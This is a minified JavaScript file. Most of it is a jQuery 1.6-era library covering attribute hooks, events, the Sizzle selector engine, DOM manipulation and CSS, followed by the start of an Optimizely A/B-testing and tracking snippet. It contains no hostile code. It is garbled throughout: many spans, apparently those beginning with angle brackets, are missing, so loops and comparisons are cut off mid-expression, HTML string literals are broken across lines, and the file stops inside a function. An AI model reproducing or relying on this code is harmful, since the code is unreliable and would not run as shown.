y.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,b,c){var g= +a.nodeType;if(!a||g===3||g===8||g===2)return m;var e,f;if(g!==1||!d.isXMLDoc(a)){b=d.propFix[b]||b;f=d.propHooks[b]}return c!==m?f&&"set"in f&&(e=f.set(a,c,b))!==m?e:a[b]=c:f&&"get"in f&&(e=f.get(a,b))!==null?e:a[b]},propHooks:{tabIndex:{get:function(a){var b=a.getAttributeNode("tabindex");return b&&b.specified?parseInt(b.value,10):Qb.test(a.nodeName)||Rb.test(a.nodeName)&&a.href?0:m}}}});d.attrHooks.tabIndex=d.propHooks.tabIndex;Sa={get:function(a,b){var c;return d.prop(a,b)===true||(c=a.getAttributeNode(b))&& +c.nodeValue!==false?b.toLowerCase():m},set:function(a,b,c){if(b===false)d.removeAttr(a,c);else{b=d.propFix[c]||c;b in a&&(a[b]=true);a.setAttribute(c,c.toLowerCase())}return c}};d.support.getSetAttribute||(y=d.valHooks.button={get:function(a,b){var c;return(c=a.getAttributeNode(b))&&c.nodeValue!==""?c.nodeValue:m},set:function(a,b,c){var d=a.getAttributeNode(c);if(!d){d=l.createAttribute(c);a.setAttributeNode(d)}return d.nodeValue=b+""}},d.each(["width","height"],function(a,b){d.attrHooks[b]=d.extend(d.attrHooks[b], +{set:function(a,d){if(d===""){a.setAttribute(b,"auto");return d}}})}));d.support.hrefNormalized||d.each(["href","src","width","height"],function(a,b){d.attrHooks[b]=d.extend(d.attrHooks[b],{get:function(a){a=a.getAttribute(b,2);return a===null?m:a}})});d.support.style||(d.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||m},set:function(a,b){return a.style.cssText=""+b}});d.support.optSelected||(d.propHooks.selected=d.extend(d.propHooks.selected,{get:function(a){if(a=a.parentNode){a.selectedIndex; +a.parentNode&&a.parentNode.selectedIndex}return null}}));d.support.checkOn||d.each(["radio","checkbox"],function(){d.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}});d.each(["radio","checkbox"],function(){d.valHooks[this]=d.extend(d.valHooks[this],{set:function(a,b){if(d.isArray(b))return a.checked=d.inArray(d(a).val(),b)>=0}})});var ia=/\.(.*)$/,pa=/^(?:textarea|input|select)$/i,nb=/\./g,ob=/ /g,Sb=/[^\w\s.|`]/g,Tb=function(a){return a.replace(Sb,"\\$&")};d.event= +{add:function(a,b,c,g){if(!(a.nodeType===3||a.nodeType===8)){if(c===false)c=w;else if(!c)return;var e,f;if(c.handler){e=c;c=e.handler}if(!c.guid)c.guid=d.guid++;if(f=d._data(a)){var h=f.events,i=f.handle;if(!h)f.events=h={};if(!i)f.handle=i=function(a){return typeof d!=="undefined"&&(!a||d.event.triggered!==a.type)?d.event.handle.apply(i.elem,arguments):m};i.elem=a;for(var b=b.split(" "),j,k=0,l;j=b[k++];){f=e?d.extend({},e):{handler:c,data:g};if(j.indexOf(".")>-1){l=j.split(".");j=l.shift();f.namespace= +l.slice(0).sort().join(".")}else{l=[];f.namespace=""}f.type=j;if(!f.guid)f.guid=c.guid;var n=h[j],q=d.event.special[j]||{};if(!n){n=h[j]=[];if(!q.setup||q.setup.call(a,g,l,i)===false)a.addEventListener?a.addEventListener(j,i,false):a.attachEvent&&a.attachEvent("on"+j,i)}if(q.add){q.add.call(a,f);if(!f.handler.guid)f.handler.guid=c.guid}n.push(f);d.event.global[j]=true}a=null}}},global:{},remove:function(a,b,c,g){if(!(a.nodeType===3||a.nodeType===8)){c===false&&(c=w);var e,f,h=0,i,j,k,l,n,q,p=d.hasData(a)&& +d._data(a),o=p&&p.events;if(p&&o){if(b&&b.type){c=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(e in o)d.event.remove(a,e+b)}else{for(b=b.split(" ");e=b[h++];){l=e;i=e.indexOf(".")<0;j=[];if(!i){j=e.split(".");e=j.shift();k=RegExp("(^|\\.)"+d.map(j.slice(0).sort(),Tb).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(n=o[e])if(c){l=d.event.special[e]||{};for(f=g||0;f= +0){e=e.slice(0,-1);h=true}if(e.indexOf(".")>=0){f=e.split(".");e=f.shift();f.sort()}if(c&&!d.event.customEvent[e]||d.event.global[e]){a=typeof a==="object"?a[d.expando]?a:new d.Event(e,a):new d.Event(e);a.type=e;a.exclusive=h;a.namespace=f.join(".");a.namespace_re=RegExp("(^|\\.)"+f.join("\\.(?:.*\\.)?")+"(\\.|$)");if(g||!c){a.preventDefault();a.stopPropagation()}if(c){if(!(c.nodeType===3||c.nodeType===8)){a.result=m;a.target=c;b=b!=null?d.makeArray(b):[];b.unshift(a);f=c;g=e.indexOf(":")<0?"on"+ +e:"";do{h=d._data(f,"handle");a.currentTarget=f;h&&h.apply(f,b);if(g&&d.acceptData(f)&&f[g]&&f[g].apply(f,b)===false){a.result=false;a.preventDefault()}f=f.parentNode||f.ownerDocument||f===a.target.ownerDocument&&r}while(f&&!a.isPropagationStopped());if(!a.isDefaultPrevented()){var i,f=d.event.special[e]||{};if((!f._default||f._default.call(c.ownerDocument,a)===false)&&!(e==="click"&&d.nodeName(c,"a"))&&d.acceptData(c)){try{if(g&&c[e]){(i=c[g])&&(c[g]=null);d.event.triggered=e;c[e]()}}catch(j){}i&& +(c[g]=i);d.event.triggered=m}}return a.result}}else d.each(d.cache,function(){var c=this[d.expando];c&&(c.events&&c.events[e])&&d.event.trigger(a,b,c.handle.elem)})}},handle:function(a){var a=d.event.fix(a||r.event),b=((d._data(this,"events")||{})[a.type]||[]).slice(0),c=!a.exclusive&&!a.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=a;a.currentTarget=this;for(var e=0,f=b.length;e-1?d.map(a.options,function(a){return a.selected}).join("-"):"";else if(d.nodeName(a,"select"))c=a.selectedIndex;return c},Z=function(a,b){var c=a.target,g,e;if(pa.test(c.nodeName)&& +!c.readOnly){g=d._data(c,"_change_data");e=Va(c);(a.type!=="focusout"||c.type!=="radio")&&d._data(c,"_change_data",e);if(!(g===m||e===g))if(g!=null||e){a.type="change";a.liveFired=m;d.event.trigger(a,b,c)}}};d.event.special.change={filters:{focusout:Z,beforedeactivate:Z,click:function(a){var b=a.target,c=d.nodeName(b,"input")?b.type:"";(c==="radio"||c==="checkbox"||d.nodeName(b,"select"))&&Z.call(this,a)},keydown:function(a){var b=a.target,c=d.nodeName(b,"input")?b.type:"";(a.keyCode===13&&!d.nodeName(b, +"textarea")||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")&&Z.call(this,a)},beforeactivate:function(a){a=a.target;d._data(a,"_change_data",Va(a))}},setup:function(){if(this.type==="file")return false;for(var a in L)d.event.add(this,a+".specialChange",L[a]);return pa.test(this.nodeName)},teardown:function(){d.event.remove(this,".specialChange");return pa.test(this.nodeName)}};L=d.event.special.change.filters;L.focus=L.beforeactivate}d.support.focusinBubbles||d.each({focus:"focusin", +blur:"focusout"},function(a,b){function c(a){var c=d.event.fix(a);c.type=b;c.originalEvent={};d.event.trigger(c,null,c.target);c.isDefaultPrevented()&&a.preventDefault()}var g=0;d.event.special[b]={setup:function(){g++===0&&l.addEventListener(a,c,true)},teardown:function(){--g===0&&l.removeEventListener(a,c,true)}}});d.each(["bind","one"],function(a,b){d.fn[b]=function(a,g,e){var f;if(typeof a==="object"){for(var h in a)this[b](h,g,a[h],e);return this}if(arguments.length===2||g===false){e=g;g=m}if(b=== +"one"){f=function(a){d(this).unbind(a,f);return e.apply(this,arguments)};f.guid=e.guid||d.guid++}else f=e;if(a==="unload"&&b!=="one")this.one(a,g,e);else{h=0;for(var i=this.length;h0?this.bind(b,a,d):this.trigger(b)};d.attrFn&&(d.attrFn[b]=true)});var Wa=function(a,b,c,d,e,f){for(var e=0,h=d.length;e0){j=i;break}}i=i[a]}d[e]=j}}},ra=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,sa=0,Ya=Object.prototype.toString,aa=!1,Za=!0,G=/\\/g,ba=/\W/;[0,0].sort(function(){Za=false;return 0});var n=function(a,b,c,d){var c=c||[],e=b=b||l;if(b.nodeType!==1&&b.nodeType!==9)return[]; +if(!a||typeof a!=="string")return c;var f,h,i,j,k,m=true,o=n.isXML(b),q=[],r=a;do{ra.exec("");if(f=ra.exec(r)){r=f[3];q.push(f[1]);if(f[2]){j=f[3];break}}}while(f);if(q.length>1&&Ub.exec(a))if(q.length===2&&p.relative[q[0]])h=$a(q[0]+q[1],b);else for(h=p.relative[q[0]]?[b]:n(q.shift(),b);q.length;){a=q.shift();p.relative[a]&&(a=a+q.shift());h=$a(a,h)}else{if(!d&&q.length>1&&b.nodeType===9&&!o&&p.match.ID.test(q[0])&&!p.match.ID.test(q[q.length-1])){f=n.find(q.shift(),b,o);b=f.expr?n.filter(f.expr, +f.set)[0]:f.set[0]}if(b){f=d?{expr:q.pop(),set:v(d)}:n.find(q.pop(),q.length===1&&(q[0]==="~"||q[0]==="+")&&b.parentNode?b.parentNode:b,o);h=f.expr?n.filter(f.expr,f.set):f.set;for(q.length>0?i=v(h):m=false;q.length;){f=k=q.pop();p.relative[k]?f=q.pop():k="";f==null&&(f=b);p.relative[k](i,f,o)}}else i=[]}i||(i=h);i||n.error(k||a);if(Ya.call(i)==="[object Array]")if(m)if(b&&b.nodeType===1)for(a=0;i[a]!=null;a++)i[a]&&(i[a]===true||i[a].nodeType===1&&n.contains(b,i[a]))&&c.push(h[a]);else for(a=0;i[a]!= +null;a++)i[a]&&i[a].nodeType===1&&c.push(h[a]);else c.push.apply(c,i);else v(i,c);if(j){n(j,e,c,d);n.uniqueSort(c)}return c};n.uniqueSort=function(a){if(ca){aa=Za;a.sort(ca);if(aa)for(var b=1;b0};n.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=p.order.length;e":function(a,b){var c,d=typeof b==="string",e=0,f=a.length;if(d&& +!ba.test(b))for(b=b.toLowerCase();e=0)?c||d.push(h):c&&(b[f]=false));return false},ID:function(a){return a[1].replace(G,"")},TAG:function(a){return a[1].replace(G,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||n.error(a[0]);a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0;a[3]=b[3]-0}else a[2]&&n.error(a[0]);a[0]=sa++;return a},ATTR:function(a, +b,c,d,e,f){b=a[1]=a[1].replace(G,"");!f&&p.attrMap[b]&&(a[1]=p.attrMap[b]);a[4]=(a[4]||a[5]||"").replace(G,"");a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(a,b,c,d,e){if(a[1]==="not")if((ra.exec(a[3])||"").length>1||/^\w/.test(a[3]))a[3]=n(a[3],null,null,b);else{a=n.filter(a[3],b,c,1^e);c||d.push.apply(d,a);return false}else if(p.match.POS.test(a[0])||p.match.CHILD.test(a[0]))return true;return a},POS:function(a){a.unshift(true);return a}},filters:{enabled:function(a){return a.disabled=== +false&&a.type!=="hidden"},disabled:function(a){return a.disabled===true},checked:function(a){return a.checked===true},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===true},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!n(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){return"text"===a.getAttribute("type")},radio:function(a){return"radio"===a.type},checkbox:function(a){return"checkbox"=== +a.type},file:function(a){return"file"===a.type},password:function(a){return"password"===a.type},submit:function(a){return"submit"===a.type},image:function(a){return"image"===a.type},reset:function(a){return"reset"===a.type},button:function(a){return"button"===a.type||a.nodeName.toLowerCase()==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2=== +0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=p.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){b=b[3];c=0;for(d=b.length;c=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a, +b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],c=p.attrHandle[c]?p.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),d=c+"",e=b[2],f=b[4];return c==null?e==="!=":e==="="?d===f:e==="*="?d.indexOf(f)>=0:e==="~="?(" "+d+" ").indexOf(f)>=0:!f?d&&c!==false:e==="!="?d!==f:e==="^="?d.indexOf(f)===0:e==="$="?d.substr(d.length-f.length)===f:e==="|="?d===f||d.substr(0,f.length+ +1)===f+"-":false},POS:function(a,b,c,d){var e=p.setFilters[b[2]];if(e)return e(a,c,b,d)}}},Ub=p.match.POS,Vb=function(a,b){return"\\"+(b-0+1)},M;for(M in p.match)p.match[M]=RegExp(p.match[M].source+/(?![^\[]*\])(?![^\(]*\))/.source),p.leftMatch[M]=RegExp(/(^(?:.|\r|\n)*?)/.source+p.match[M].source.replace(/\\(\d+)/g,Vb));var v=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(l.documentElement.childNodes,0)[0].nodeType}catch(kc){v= +function(a,b){var c=0,d=b||[];if(Ya.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length==="number")for(var e=a.length;c";ea.insertBefore(da,ea.firstChild);l.getElementById(ab)&&(p.find.ID=function(a,b,c){if(typeof b.getElementById!=="undefined"&&!c)return(b=b.getElementById(a[1]))?b.id===a[1]||typeof b.getAttributeNode!=="undefined"&&b.getAttributeNode("id").nodeValue===a[1]?[b]:m:[]},p.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=="undefined"&& +a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b});ea.removeChild(da);var ea=da=null,z=l.createElement("div");z.appendChild(l.createComment(""));0

    ";if(!(fa.querySelectorAll&&0===fa.querySelectorAll(".TEST").length)){var n=function(a,b,c,d){b=b||l;if(!d&&!n.isXML(b)){var e=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(a);if(e&&(b.nodeType===1||b.nodeType===9)){if(e[1])return v(b.getElementsByTagName(a),c);if(e[2]&&p.find.CLASS&&b.getElementsByClassName)return v(b.getElementsByClassName(e[2]),c)}if(b.nodeType=== +9){if(a==="body"&&b.body)return v([b.body],c);if(e&&e[3]){var f=b.getElementById(e[3]);if(f&&f.parentNode){if(f.id===e[3])return v([f],c)}else return v([],c)}try{return v(b.querySelectorAll(a),c)}catch(h){}}else if(b.nodeType===1&&b.nodeName.toLowerCase()!=="object"){var e=b,i=(f=b.getAttribute("id"))||"__sizzle__",j=b.parentNode,k=/^\s*[+~]/.test(a);f?i=i.replace(/'/g,"\\$&"):b.setAttribute("id",i);if(k&&j)b=b.parentNode;try{if(!k||j)return v(b.querySelectorAll("[id='"+i+"'] "+a),c)}catch(m){}finally{f|| +e.removeAttribute("id")}}}return ta(a,b,c,d)},ua;for(ua in ta)n[ua]=ta[ua];fa=null}}var ga=l.documentElement,va=ga.matchesSelector||ga.mozMatchesSelector||ga.webkitMatchesSelector||ga.msMatchesSelector,bb=!1;try{va.call(l.documentElement,"[test!='']:sizzle")}catch(lc){bb=!0}va&&(n.matchesSelector=function(a,b){b=b.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!n.isXML(a))try{if(bb||!p.match.PSEUDO.test(b)&&!/!=/.test(b))return va.call(a,b)}catch(c){}return n(b,null,null,[a]).length>0});var H=l.createElement("div"); +H.innerHTML="
    ";H.getElementsByClassName&&0!==H.getElementsByClassName("e").length&&(H.lastChild.className="e",1!==H.getElementsByClassName("e").length&&(p.order.splice(1,0,"CLASS"),p.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=="undefined"&&!c)return b.getElementsByClassName(a[1])},H=null));n.contains=l.documentElement.contains?function(a,b){return a!==b&&(a.contains?a.contains(b):true)}:l.documentElement.compareDocumentPosition? +function(a,b){return!!(a.compareDocumentPosition(b)&16)}:function(){return false};n.isXML=function(a){return(a=(a?a.ownerDocument||a:0).documentElement)?a.nodeName!=="HTML":false};var $a=function(a,b){for(var c,d=[],e="",f=b.nodeType?[b]:b;c=p.match.PSEUDO.exec(a);){e=e+c[0];a=a.replace(p.match.PSEUDO,"")}a=p.relative[a]?a+"*":a;c=0;for(var h=f.length;c0)for(h=f;h0:this.filter(a).length>0)},closest:function(a,b){var c=[],g,e,f=this[0];if(d.isArray(a)){var h,i={},j=1;if(f&& +a.length){g=0;for(e=a.length;g-1:d(f).is(g))&&c.push({selector:h,elem:f,level:j})}f=f.parentNode;j++}}return c}h=cb.test(a)||typeof a!=="string"?d(a,b||this.context):0;g=0;for(e=this.length;g-1:d.find.matchesSelector(f,a)){c.push(f);break}else{f=f.parentNode;if(!f||!f.ownerDocument||f===b||f.nodeType===11)break}c=c.length>1? +d.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){return!a?this[0]&&this[0].parentNode?this.prevAll().length:-1:typeof a==="string"?d.inArray(this[0],d(a)):d.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==="string"?d(a,b):d.makeArray(a&&a.nodeType?[a]:a),g=d.merge(this.get(),c);return this.pushStack(!c[0]||!c[0].parentNode||c[0].parentNode.nodeType===11||!g[0]||!g[0].parentNode||g[0].parentNode.nodeType===11?g:d.unique(g))},andSelf:function(){return this.add(this.prevObject)}}); +d.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return d.dir(a,"parentNode")},parentsUntil:function(a,b,c){return d.dir(a,"parentNode",c)},next:function(a){return d.nth(a,2,"nextSibling")},prev:function(a){return d.nth(a,2,"previousSibling")},nextAll:function(a){return d.dir(a,"nextSibling")},prevAll:function(a){return d.dir(a,"previousSibling")},nextUntil:function(a,b,c){return d.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return d.dir(a,"previousSibling", +c)},siblings:function(a){return d.sibling(a.parentNode.firstChild,a)},children:function(a){return d.sibling(a.firstChild)},contents:function(a){return d.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:d.makeArray(a.childNodes)}},function(a,b){d.fn[a]=function(c,g){var e=d.map(this,b,c),f=Zb.call(arguments);Wb.test(a)||(g=c);g&&typeof g==="string"&&(e=d.filter(g,e));e=this.length>1&&!$b[a]?d.unique(e):e;if((this.length>1||Yb.test(g))&&Xb.test(a))e=e.reverse();return this.pushStack(e, +a,f.join(","))}});d.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?d.find.matchesSelector(b[0],a)?[b[0]]:[]:d.find.matches(a,b)},dir:function(a,b,c){for(var g=[],a=a[b];a&&a.nodeType!==9&&(c===m||a.nodeType!==1||!d(a).is(c));){a.nodeType===1&&g.push(a);a=a[b]}return g},nth:function(a,b,c){for(var b=b||1,d=0;a;a=a[c])if(a.nodeType===1&&++d===b)break;return a},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var ac=/ jQuery\d+="(?:\d+|null)"/g, +wa=/^\s+/,db=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,eb=/<([\w:]+)/,bc=/",""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],col:[2,"", +"
    "],area:[1,"",""],_default:[0,"",""]};t.optgroup=t.option;t.tbody=t.tfoot=t.colgroup=t.caption=t.thead;t.th=t.td;d.support.htmlSerialize||(t._default=[1,"div
    ","
    "]);d.fn.extend({text:function(a){return d.isFunction(a)?this.each(function(b){var c=d(this);c.text(a.call(this,b,c.text()))}):typeof a!=="object"&&a!==m?this.empty().append((this[0]&&this[0].ownerDocument||l).createTextNode(a)):d.text(this)},wrapAll:function(a){if(d.isFunction(a))return this.each(function(b){d(this).wrapAll(a.call(this, +b))});if(this[0]){var b=d(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var a=this;a.firstChild&&a.firstChild.nodeType===1;)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return d.isFunction(a)?this.each(function(b){d(this).wrapInner(a.call(this,b))}):this.each(function(){var b=d(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){d(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){d.nodeName(this, +"body")||d(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=d(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a, +"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,d(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,g;(g=this[c])!=null;c++)if(!a||d.filter(a,[g]).length){if(!b&&g.nodeType===1){d.cleanData(g.getElementsByTagName("*"));d.cleanData([g])}g.parentNode&&g.parentNode.removeChild(g)}return this}, +empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&d.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild);return this},clone:function(a,b){a=a==null?false:a;b=b==null?a:b;return this.map(function(){return d.clone(this,a,b)})},html:function(a){if(a===m)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(ac,""):null;if(typeof a==="string"&&!fb.test(a)&&(d.support.leadingWhitespace||!wa.test(a))&&!t[(eb.exec(a)||["",""])[1].toLowerCase()]){a= +a.replace(db,"<$1>");try{for(var b=0,c=this.length;b1&&e0?this.clone(true):this).get();d(c[e])[b](h);g=g.concat(h)}return this.pushStack(g,a,c.selector)}});d.extend({clone:function(a,b,c){var g=a.cloneNode(true),e,f,h;if((!d.support.noCloneEvent|| +!d.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!d.isXMLDoc(a)){Da(a,g);e=Q(a);f=Q(g);for(h=0;e[h];++h)f[h]&&Da(e[h],f[h])}if(b){Ca(a,g);if(c){e=Q(a);f=Q(g);for(h=0;e[h];++h)Ca(e[h],f[h])}}return g},clean:function(a,b,c,g){b=b||l;typeof b.createElement==="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||l);for(var e=[],f,h=0,i;(i=a[h])!=null;h++){typeof i==="number"&&(i=i+"");if(i){if(typeof i==="string")if(cc.test(i)){i=i.replace(db,"<$1>");f=(eb.exec(i)||["",""])[1].toLowerCase(); +var j=t[f]||t._default,k=j[0],m=b.createElement("div");for(m.innerHTML=j[1]+i+j[2];k--;)m=m.lastChild;if(!d.support.tbody){k=bc.test(i);j=f==="table"&&!k?m.firstChild&&m.firstChild.childNodes:j[1]===""&&!k?m.childNodes:[];for(f=j.length-1;f>=0;--f)d.nodeName(j[f],"tbody")&&!j[f].childNodes.length&&j[f].parentNode.removeChild(j[f])}!d.support.leadingWhitespace&&wa.test(i)&&m.insertBefore(b.createTextNode(wa.exec(i)[0]),m.firstChild);i=m.childNodes}else i=b.createTextNode(i);var n;if(!d.support.appendChecked)if(i[0]&& +typeof(n=i.length)==="number")for(f=0;f=0)return b+"px"}else return b}}});d.support.opacity||(d.cssHooks.opacity={get:function(a,b){return ec.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,g=a.currentStyle,e=d.isNaN(b)?"":"alpha(opacity="+b*100+")",f=g&&g.filter||c.filter||"";c.zoom=1;if(b>=1&&d.trim(f.replace(xa,""))===""){c.removeAttribute("filter");if(g&&!g.filter)return}c.filter=xa.test(f)?f.replace(xa,e):f+" "+e}});d(function(){if(!d.support.reliableMarginRight)d.cssHooks.marginRight= +{get:function(a,b){var c;d.swap(a,{display:"inline-block"},function(){c=b?A(a,"margin-right","marginRight"):a.style.marginRight});return c}}});l.defaultView&&l.defaultView.getComputedStyle&&(ib=function(a,b){var c,g,b=b.replace(fc,"-$1").toLowerCase();if(!(g=a.ownerDocument.defaultView))return m;if(g=g.getComputedStyle(a,null)){c=g.getPropertyValue(b);c===""&&!d.contains(a.ownerDocument.documentElement,a)&&(c=d.style(a,b))}return c});l.documentElement.currentStyle&&(jb=function(a,b){var c,d=a.currentStyle&& +a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;if(!hb.test(d)&&gc.test(d)){c=f.left;if(e)a.runtimeStyle.left=a.currentStyle.left;f.left=b==="fontSize"?"1em":d||0;d=f.pixelLeft+"px";f.left=c;if(e)a.runtimeStyle.left=e}return d===""?"auto":d});A=ib||jb;d.expr&&d.expr.filters&&(d.expr.filters.hidden=function(a){var b=a.offsetHeight;return a.offsetWidth===0&&b===0||!d.support.reliableHiddenOffsets&&(a.style.display||d.css(a,"display"))==="none"},d.expr.filters.visible=function(a){return!d.expr.filters.hidden(a)}); +return d}(window); + +function h(a){throw a;}var i=void 0,k=!0,l=null,m=!1;function aa(){return function(a){return a}}function ba(a,b,c){return a.call.apply(a.bind,arguments)}function ca(a,b,c){a||h(Error());if(2>>17,g=c(g,461845907),e^=g,e=(e&524287)<<13|e>>>19,e=5*e+3864292196|0;g=0;switch(d%4){case 3:g=(a.charCodeAt(f+2)&255)<<16;case 2:g|=(a.charCodeAt(f+1)&255)<<8;case 1:g|=a.charCodeAt(f)&255,g=c(g,3432918353),e^=c((g&131071)<<15|g>>>17,461845907)}e^= +d;e=c(e^e>>>16,2246822507);e=c(e^e>>>13,3266489909);return((e^e>>>16)>>>0)/ma};var oa=window.OPTIMIZELY_TEST_MODULE,pa="com local net org xxx edu es gov biz info fr nl ca de kr it me ly tv mx cn jp il in iq test".split(" "),qa=/\/\*\s*_optimizely_variation_url( +include="([^"]*)")?( +exclude="([^"]*)")?( +match_type="([^"]*)")?( +include_match_types="([^"]*)")?( +exclude_match_types="([^"]*)")?( +id="([^"]*)")?\s*\*\//;var ra,sa=0,ta=m,r=k,ua=m,va=m,wa="",xa=m,ya=m,za=m,Aa=m,Ba=m,Ca=m,v=k,Da=31536E4;function Ea(){var a;if(!(a=Fa)){var b=new Ha.ka(window.navigator.userAgent);a=b.g();var c=b.Z(),b=b.v();a={la:Ia(a.name),ma:a.version,platform:{id:(c.name||"unknown").toLowerCase(),version:c.version},d:b.model in Ja?Ja[b.model]:b.type||"desktop",fa:w(["mobile","tablet"],b.type)}}return Fa=a}function Ka(){return Ea().la}function La(){return Ea().ma}function Ma(){return Ea().d}function Na(a){if(!a)return"";try{return a.match(/:\/\/(?:www[0-9]?\.)?(.[^/:]+)/)[1]}catch(b){return""}} +function Oa(){return Ea().platform}function x(){var a=y("optimizelyEndUserId");a||(a="oeu"+ +new Date+"r"+Math.random(),A("optimizelyEndUserId",a,Da));return a}function Pa(){return y("optimizelyPPID")}function Qa(a){var b=Pa()||x(),b=q.get(b)||{};return a?b[a]:b}function Ra(){var a="";try{a=(Sa||l).ip}catch(b){}return B(a)}function Ta(){var a=Sa||l,a=a&&a.location||{};return{city:B(a.city),continent:B(a.continent),country:B(a.country),region:B(a.region)}} +function B(a){if(!a)return"";a=a.toUpperCase();return"N/A"==a?"":a}function Ua(){var a=Ea(),b="android;blackberry;ipad;iphone;ipod;windows phone".split(";");return w(b,a.d)?a.d:w(b,a.platform.id)?a.platform.id:a.fa?"mobile":"unknown"}function Va(){return Wa?"returning":"new"}Oa=function(){return Ea().platform};function Xa(a){C("User","Setting current URL to %s",a);Ya=a}var Ya=i,Fa=i,Wa=i;function Za(){return(Qa("events")||[]).concat($a).slice(-ab)}function bb(a){var b={t:+new Date,n:a.name,y:a.type},a=D({},a.options);a.a&&(b.r=a.a,delete a.a);b.o=a;return b}var $a=[],ab=1E3;function cb(a,b){var c={},c=i,d=E("custom_revenue_goals");d&&(a in d&&db(d[a]))&&(c=d[a]);var c=b&&db(b)?{a:Number(b)}:b&&b.revenue?{a:b.revenue}:c?{a:c}:b,d=eb(),e={};G(d,function(a){e[a]=k});$.extend(c,{i:e});fb(a,"custom",c)}function fb(a,b,c){c=c||{};if(v){b={name:a,type:b,options:c};gb.push(b);if(c.D!==k){$a.push(bb(b));var b=Za(),d=Pa()||x(),e=Qa();e.events=b;q.set(d,e);$a=[]}delete c.D;hb?(ib(),H("Tracker","Tracking event '"+a+"'")):H("Tracker","Queued tracking event '"+a+"'")}} +function jb(){kb();$("html").bind("mousedown",lb);$("html").bind("touchstart",mb)}function 